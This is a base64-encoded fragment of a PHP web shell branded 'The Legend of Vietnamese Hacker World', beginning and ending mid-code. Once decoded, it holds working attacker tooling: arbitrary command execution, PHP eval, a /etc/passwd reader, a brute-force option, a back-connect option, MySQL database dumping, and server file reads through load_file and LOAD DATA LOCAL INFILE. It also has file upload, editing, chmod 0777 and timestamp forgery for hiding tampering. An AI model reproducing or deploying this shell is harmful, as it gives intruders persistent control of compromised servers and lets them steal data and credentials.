CgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWluZm9bJ2V4dGVuc2lvbiddKTsKCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCR0aGVmaWxlKSk7CgkJQHJlYWRmaWxlKCR0aGVmaWxlKTsKCQlleGl0OwoJfQp9CgoKaWYgKCRkb2luZyA9PSAnYmFja3VwbXlzcWwnICYmICEkc2F2ZWFzZmlsZSkgewoJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsKCSRyZXN1bHQgPSBxKCJTSE9XIHRhYmxlcyIpOwoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOwoJJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7CgkkbXlzcWxkYXRhID0gJyc7Cgl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CgkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsKCQkJJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7CgkJfQoJfQoJbXlzcWxfY2xvc2UoKTsKCWV4aXQ7Cn0KCi8vIE15c3FsCmlmKCRkb2luZz09J215c3FsZG93bicpewoJaWYgKCEkZGJuYW1lKSB7CgkJJGVycm1zZyA9ICdQbGVhc2UgaW5wdXQgZGJuYW1lJzsKCX0gZWxzZSB7CgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCQlpZiAoIWZpbGVfZXhpc3RzKCRteXNxbGRsZmlsZSkpIHsKCQkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsKCQl9IGVsc2UgewoJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3FsZGxmaWxlJyk7Iik7CgkJCWlmKCEkcmVzdWx0KXsKCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsKCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfYW5nZWwgKGNvbnRlbnQgTE9OR0JMT0IgTk9UIE5VTEwpOyIpOwoJCQkJLy9Eb3dubG9hZCBTUUwKCQkJCXEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuYWRkc2xhc2hlcygkbXlzcWxkbGZpbGUpLiInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7CgkJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGNvbnRlbnQgZnJvbSB0bXBfYW5nZWwiKTsKCQkJCXEoIkRST1AgVEFCTEUgdG1wX2FuZ2VsIik7CgkJCX0KCQkJJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsKCQkJaWYgKCEkcm93KSB7CgkJCQkkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJy5teXNxbF9lcnJvcigpOwoJCQl9IGVsc2UgewoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJG15c3FsZGxmaWxlKTsKCQkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7CgkJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsKCQkJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJHJvd1swXSkpOwoJCQkJZWNobyAkcm93WzBdOwoJCQkJZXhpdDsKCQkJfQoJCX0KCX0KfQoKPz4KCjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPgo8dGl0bGU+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ1RoZSBMZWdlbmQgb2YgVmlldG5hbWVzZSBIYWNrZXIgV29ybGQnKTs/PjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHksdGR7Zm9udDogMTBwdCBUYWhvbWE7Y29sb3I6Z3JheTtsaW5lLWhlaWdodDogMTZweDt9CgphIHtjb2xvcjogIzc0QTIwMjt0ZXh0LWRlY29yYXRpb246bm9uZTt9CmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9Ci5hbHQxIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMwRTBFMEU7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30KLmFsdDIgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6I2Y5ZjlmOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouZm9jdXMgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouZm91dDEgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjBweCBzb2xpZCBncmF5O2JhY2tncm91bmQ6IzBFMEUwRTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouZm91dCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MHB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9Ci5oZWFkIHRke2JvcmRlci10b3A6MXB4IHNvbGlkIGdyYXk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgZ3JheTtiYWNrZ3JvdW5kOiMyMDIwMjA7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7fQouaGVhZF9zbWFsbCB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCBncmF5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIGdyYXk7YmFja2dyb3VuZDojMjAyMDIwO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDtmb250LXdlaWdodDpub3JtYWw7Zm9udC1zaXplOjhwdDt9Ci5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30KZm9ybXttYXJnaW46MDtwYWRkaW5nOjA7fQpoMnttYXJnaW46MDtwYWRkaW5nOjA7aGVpZ2h0OjI0cHg7bGluZS1oZWlnaHQ6MjRweDtmb250LXNpemU6MTRweDtjb2xvcjojNUI2ODZGO30KdWwuaW5mbyBsaXttYXJnaW46MDtjb2xvcjojNDQ0O2xpbmUtaGVpZ2h0OjI0cHg7aGVpZ2h0OjI0cHg7fQp1e3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjojNzc3O2Zsb2F0OmxlZnQ7ZGlzcGxheTpibG9jazt3aWR0aDoxNTBweDttYXJnaW4tcmlnaHQ6MTBweDt9CmlucHV0LCB0ZXh0YXJlYSwgYnV0dG9uCnsKCWZvbnQtc2l6ZTogOXB0OwoJY29sb3I6ICNjY2M7Cglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsKCWJhY2tncm91bmQtY29sb3I6ICMyMDIwMjA7Cglib3JkZXItbGVmdDogMXB4IHNvbGlkICM3NEEyMDI7Cglib3JkZXItdG9wOiAxcHggc29saWQgIzc0QTIwMjsKCWJvcmRlci1yaWdodDogMXB4IHNvbGlkICM3NEEyMDI7Cglib3JkZXItYm90dG9tOiAxcHggc29saWQgIzc0QTIwMjsKfQpzZWxlY3QKewoJZm9udC1zaXplOiA4cHQ7Cglmb250LXdlaWdodDogbm9ybWFsOwoJY29sb3I6ICNjY2M7Cglmb250LWZhbWlseTogdmVyZGFuYSwgc2Fucy1zZXJpZjsKCWJhY2tncm91bmQtY29sb3I6ICMyMDIwMjA7Cn0KCjwvc3R5bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgewoJZm9yKHZhciBpPTA7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspIHsKCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07CgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykKCQllLmNoZWNrZWQgPSBmb3JtLmNoa2FsbC5jaGVja2VkOwogICAgfQp9CmZ1bmN0aW9uICQoaWQpIHsKCXJldHVybiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7Cn0KZnVuY3Rpb24gZ29hY3Rpb24oYWN0KXsKCSQoJ2dvYWN0aW9uJykuYWN0aW9uLnZhbHVlPWFjdDsKCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25Mb2FkPSJpbml0KCkiIHN0eWxlPSJtYXJnaW46MDt0YWJsZS1sYXlvdXQ6Zml4ZWQ7IHdvcmQtYnJlYWs6YnJlYWstYWxsIiBiZ2NvbG9yPWJsYWNrIGJhY2tncm91bmQ9aHR0cDovL2kzODIucGhvdG9idWNrZXQuY29tL2FsYnVtcy9vbzI2My92bmhhY2tlci9iZy0xLmpwZz4KCgo8ZGl2IGJvcmRlcj0iMCIgc3R5bGU9InBvc2l0aW9uOmZpeGVkOyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAyNXB4OyB6LWluZGV4OiAxOyB0b3A6IDMwMHB4OyBsZWZ0OiAwOyIgaWQ9ImxvYWRpbmciIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0iY2VudGVyIj4KCQkJCTx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMTBweCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMwMDMzMDAiPgoJCQkJCTx0cj4KCQkJCQkJPHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj1jZW50ZXI+CgkJCQkgPGRpdiBib3JkZXI9IjEiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjMEUwRTBFOyBmaWx0ZXI6IGFscGhhKG9wYWNpdHk9NzApOyBvcGFjaXR5OiAuNzsgd2lkdGg6IDExMHB4OyBoZWlnaHQ6IDI1cHg7IHotaW5kZXg6IDE7IGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IiBib3JkZXJjb2xvcj0iIzAwNjYwMCIgIGFsaWduPSJjZW50ZXIiPgoJCQkJICAgTG9hZGluZzxpbWcgc3JjPSJodHRwOi8vaTM4Mi5waG90b2J1Y2tldC5jb20vYWxidW1zL29vMjYzL3ZuaGFja2VyL2xvYWRpbmcuZ2lmIj4KCQkJCSAgPC9kaXY+CgkJCQk8L3RkPgoJCQkJCTwvdHI+CgkJCQk8L3RhYmxlPgoJCQkgPC9kaXY+CiA8c2NyaXB0PgogdmFyIGxkPShkb2N1bWVudC5hbGwpOwogIHZhciBuczQ9ZG9jdW1lbnQubGF5ZXJzOwogdmFyIG5zNj1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCYmIWRvY3VtZW50LmFsbDsKIHZhciBpZTQ9ZG9jdW1lbnQuYWxsOwogIGlmIChuczQpCiAJbGQ9ZG9jdW1lbnQubG9hZGluZzsKIGVsc2UgaWYgKG5zNikKIAlsZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgibG9hZGluZyIpLnN0eWxlOwogZWxzZSBpZiAoaWU0KQogCWxkPWRvY3VtZW50LmFsbC5sb2FkaW5nLnN0eWxlOwogIGZ1bmN0aW9uIGluaXQoKQogewogaWYobnM0KXtsZC52aXNpYmlsaXR5PSJoaWRkZW4iO30KIGVsc2UgaWYgKG5zNnx8aWU0KSBsZC5kaXNwbGF5PSJub25lIjsKIH0KIDwvc2NyaXB0Pgo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KCTx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+CgkJPHRkICB3aWR0aD0xMDAlPgoJCTx0YWJsZSB3aWR0aD0xMDAlPjx0ciBjbGFzcz0iaGVhZF9zbWFsbCI+PHRkPgoJCTxzcGFuIHN0eWxlPSJmbG9hdDpsZWZ0OyI+IDw/cGhwIGVjaG8gIkhvc3RuYW1lOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDxzcGFuPlsgU2VydmVyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iPC9mb250PiI7Pz4gLSBZb3VyIElQOiA8P3BocCBlY2hvICI8Zm9udCBjb2xvcj15ZWxsb3c+Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iPC9mb250PiI7Pz4gXSA8L3NwYW4+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbG9nb3V0Jyk7Ij48Zm9udCBjb2xvcj1yZWQ+IExvZ291dDwvZm9udD48L2E+PC9zcGFuPiA8YnIgLz4KCgkJPD9waHAKCQkkY3VybF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpOwoJCSRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsKCQkkbXNzcWxfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0Jyk7CgkJJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOwoJCSRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOwoKZWNobyAoKCRzYWZlX21vZGUpPygiU2FmZV9tb2Q6IDxiPjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiKTooIlNhZmVfbW9kOiA8Yj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiKSk7CmVjaG8gIlBIUCB2ZXJzaW9uOiA8Yj4iLkBwaHB2ZXJzaW9uKCkuIjwvYj4gLSAiOwoJCWVjaG8gImNVUkw6ICIuKCgkY3VybF9vbik/KCI8Yj48Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIik6KCI8Yj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiKSk7CgkJZWNobyAiTXlTUUw6IDxiPiI7CiRteXNxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKTsKaWYoJG15c3FsX29uKXsKZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+T048L2ZvbnQ+PC9iPiAtICI7IH0gZWxzZSB7IGVjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7IH0KZWNobyAiTVNTUUw6IDxiPiI7CiRtc3NxbF9vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKTsKaWYoJG1zc3FsX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+IC0gIjt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj4gLSAiO30KZWNobyAiUG9zdGdyZVNRTDogPGI+IjsKJHBnX29uID0gQGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpOwppZigkcGdfb24pe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjwvYj4gLSAiO31lbHNle2VjaG8gIjxmb250IGNvbG9yPXJlZD5PRkY8L2ZvbnQ+PC9iPiAtICI7fQplY2hvICJPcmFjbGU6IDxiPiI7CiRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOwppZigkb3JhX29uKXtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2I+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYj48QlI+Ijt9CgplY2hvICJEaXNhYmxlIGZ1bmN0aW9ucyA6IDxiPiI7CmlmKCcnPT0oJGRmPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSl7ZWNobyAiPGZvbnQgY29sb3I9Z3JlZW4+Tk9ORTwvZm9udD48L2I+PEJSPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRkZjwvZm9udD48L2I+PEJSPiI7fQoKZWNobyAiPGZvbnQgY29sb3I9d2hpdGU+VW5hbWUgLWE8L2ZvbnQ+OiAiLkBzdWJzdHIoQHBocF91bmFtZSgpLDAsMTIwKS4iPGJyPiI7CmVjaG8gIjxmb250IGNvbG9yPXdoaXRlPlNlcnZlcjwvZm9udD46ICIuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iIC0gPGZvbnQgY29sb3I9d2hpdGU+aWQ8L2ZvbnQ+OiAiLkBnZXRteXVpZCgpLiIoIi5AZ2V0X2N1cnJlbnRfdXNlcigpLiIpIC0gdWlkPSIuQGdldG15dWlkKCkuIiAoIi5AZ2V0X2N1cnJlbnRfdXNlcigpLiIpIGdpZD0iLkBnZXRteWdpZCgpLiIoIi5AZ2V0X2N1cnJlbnRfdXNlcigpLiIpPGJyPiI7CgkJPz4KCQk8L3RkPjwvdHI+PC90YWJsZT48L3RkPgoJPC90cj4KCTx0ciBjbGFzcz0iYWx0MSI+CgkJPHRkICB3aWR0aD0xMCU+CgkJCQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdmaWxlJyk7Ij5GaWxlIE1hbmFnZXI8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsYWRtaW4nKTsiPk15U1FMIE1hbmFnZXI8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignc3FsZmlsZScpOyI+TXlTUUwgVXBsb2FkICZhbXA7IERvd25sb2FkPC9hPiB8CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NoZWxsJyk7Ij5FeGVjdXRlIENvbW1hbmQ8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbigncGhwZW52Jyk7Ij5QSFAgVmFyaWFibGU8L2E+IHwKCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignZXZhbCcpOyI+RXZhbCBQSFAgQ29kZTwvYT4KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JydXRlJyk7Ij5CcnV0ZTwvYT4gPD9waHAgfT8+CgkJCTw/cGhwIGlmICghSVNfV0lOKSB7Pz4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdldGNwd2QnKTsiPi9ldGMvcGFzc3dkPC9hPiA8P3BocCB9Pz4KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JhY2tjb25uZWN0Jyk7Ij5CYWNrIENvbm5lY3Q8L2E+PD9waHAgfT8+CgkJPC90ZD4KCTwvdHI+CjwvdGFibGU+Cjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMTUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPgo8P3BocAoKZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7Cm1ha2VoaWRlKCdhY3Rpb24nKTsKZm9ybWZvb3QoKTsKCiRlcnJtc2cgJiYgbSgkZXJybXNnKTsKCi8vIERpciBmdW5jdGlvbgohJGRpciAmJiAkZGlyID0gJy4nOwokbm93cGF0aCA9IGdldFBhdGgoU0FfUk9PVCwgJGRpcik7CmlmIChzdWJzdHIoJGRpciwgLTEpICE9ICcvJykgewoJJGRpciA9ICRkaXIuJy8nOwp9CiR1ZWRpciA9IHVlKCRkaXIpOwoKaWYgKCEkYWN0aW9uIHx8ICRhY3Rpb24gPT0gJ2ZpbGUnKSB7CgoJLy8gTm9uLXdyaXRlYWJsZQoJJGRpcl93cml0ZWFibGUgPSBAaXNfd3JpdGFibGUoJG5vd3BhdGgpID8gJ1dyaXRhYmxlJyA6ICdOb24td3JpdGFibGUnOwoKCS8vIERlbGV0ZSBkaXIKCWlmICgkZG9pbmcgPT0gJ2RlbGRpcicgJiYgJHRoZWZpbGUpIHsKCQlpZiAoIWZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgewoJCQltKCR0aGVmaWxlLicgZGlyZWN0b3J5IGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJbSgnRGlyZWN0b3J5IGRlbGV0ZSAnLihkZWx0cmVlKCR0aGVmaWxlKSA/IGJhc2VuYW1lKCR0aGVmaWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gQ3JlYXRlIG5ldyBkaXIKCWVsc2VpZiAoJG5ld2Rpcm5hbWUpIHsKCQkkbWtkaXJzID0gJG5vd3BhdGguJG5ld2Rpcm5hbWU7CgkJaWYgKGZpbGVfZXhpc3RzKCRta2RpcnMpKSB7CgkJCW0oJ0RpcmVjdG9yeSBoYXMgYWxyZWFkeSBleGlzdGVkJyk7CgkJfSBlbHNlIHsKCQkJbSgnRGlyZWN0b3J5IGNyZWF0ZWQgJy4oQG1rZGlyKCRta2RpcnMsMDc3NykgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCQlAY2htb2QoJG1rZGlycywwNzc3KTsKCQl9Cgl9CgoJLy8gVXBsb2FkIGZpbGUKCWVsc2VpZiAoJGRvdXBmaWxlKSB7CgkJbSgnRmlsZSB1cGxvYWQgJy4oQGNvcHkoJF9GSUxFU1sndXBsb2FkZmlsZSddWyd0bXBfbmFtZSddLCR1cGxvYWRkaXIuJy8nLiRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7Cgl9CgoJLy8gRWRpdCBmaWxlCgllbHNlaWYgKCRlZGl0ZmlsZW5hbWUgJiYgJGZpbGVjb250ZW50KSB7CgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsKCQltKCdTYXZlIGZpbGUgJy4oQGZ3cml0ZSgkZnAsJGZpbGVjb250ZW50KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJQGZjbG9zZSgkZnApOwoJfQoKCS8vIE1vZGlmeQoJZWxzZWlmICgkcGZpbGUgJiYgJG5ld3Blcm0pIHsKCQlpZiAoIWZpbGVfZXhpc3RzKCRwZmlsZSkpIHsKCQkJbSgnVGhlIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkbmV3cGVybSA9IGJhc2VfY29udmVydCgkbmV3cGVybSw4LDEwKTsKCQkJbSgnTW9kaWZ5IGZpbGUgYXR0cmlidXRlcyAnLihAY2htb2QoJHBmaWxlLCRuZXdwZXJtKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIFJlbmFtZQoJZWxzZWlmICgkb2xkbmFtZSAmJiAkbmV3ZmlsZW5hbWUpIHsKCQkkbm5hbWUgPSAkbm93cGF0aC4kbmV3ZmlsZW5hbWU7CgkJaWYgKGZpbGVfZXhpc3RzKCRubmFtZSkgfHwgIWZpbGVfZXhpc3RzKCRvbGRuYW1lKSkgewoJCQltKCRubmFtZS4nIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCW0oYmFzZW5hbWUoJG9sZG5hbWUpLicgcmVuYW1lZCAnLmJhc2VuYW1lKCRubmFtZSkuKEByZW5hbWUoJG9sZG5hbWUsJG5uYW1lKSA/ICcgc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyBDb3B1CgllbHNlaWYgKCRzbmFtZSAmJiAkdG9maWxlKSB7CgkJaWYgKGZpbGVfZXhpc3RzKCR0b2ZpbGUpIHx8ICFmaWxlX2V4aXN0cygkc25hbWUpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJbShiYXNlbmFtZSgkdG9maWxlKS4nIGNvcGllZCAnLihAY29weSgkc25hbWUsJHRvZmlsZSkgPyBiYXNlbmFtZSgkdG9maWxlKS4nIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8gRmlsZSBleGl0CgllbHNlaWYgKCRjdXJmaWxlICYmICR0YXJmaWxlKSB7CgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpIHx8ICFAZmlsZV9leGlzdHMoJHRhcmZpbGUpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCBvciBvcmlnaW5hbCBmaWxlIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJJHRpbWUgPSBAZmlsZW10aW1lKCR0YXJmaWxlKTsKCQkJbSgnTW9kaWZ5IGZpbGUgdGhlIGxhc3QgbW9kaWZpZWQgJy4oQHRvdWNoKCRjdXJmaWxlLCR0aW1lLCR0aW1lKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIERhdGUKCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHllYXIgJiYgJG1vbnRoICYmICRkYXkgJiYgJGhvdXIgJiYgJG1pbnV0ZSAmJiAkc2Vjb25kKSB7CgkJaWYgKCFAZmlsZV9leGlzdHMoJGN1cmZpbGUpKSB7CgkJCW0oYmFzZW5hbWUoJGN1cmZpbGUpLicgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkdGltZSA9IHN0cnRvdGltZSgiJHllYXItJG1vbnRoLSRkYXkgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7CgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyBEb3dubG9hZAoJZWxzZWlmKCRkb2luZyA9PSAnZG93bnJhcicpIHsKCQlpZiAoJGRsKSB7CgkJCSRkZmlsZXM9Jyc7CgkJCWZvcmVhY2ggKCRkbCBhcyAkZmlsZXBhdGggPT4gJHZhbHVlKSB7CgkJCQkkZGZpbGVzLj0kZmlsZXBhdGguJywnOwoJCQl9CgkJCSRkZmlsZXM9c3Vic3RyKCRkZmlsZXMsMCxzdHJsZW4oJGRmaWxlcyktMSk7CgkJCSRkbD1leHBsb2RlKCcsJywkZGZpbGVzKTsKCQkJJHppcD1uZXcgUEhQWmlwKCRkbCk7CgkJCSRjb2RlPSR6aXAtPm91dDsKCQkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOwoJCQloZWFkZXIoJ0FjY2VwdC1SYW5nZXM6IGJ5dGVzJyk7CgkJCWhlYWRlcignQWNjZXB0LUxlbmd0aDogJy5zdHJsZW4oJGNvZGUpKTsKCQkJaGVh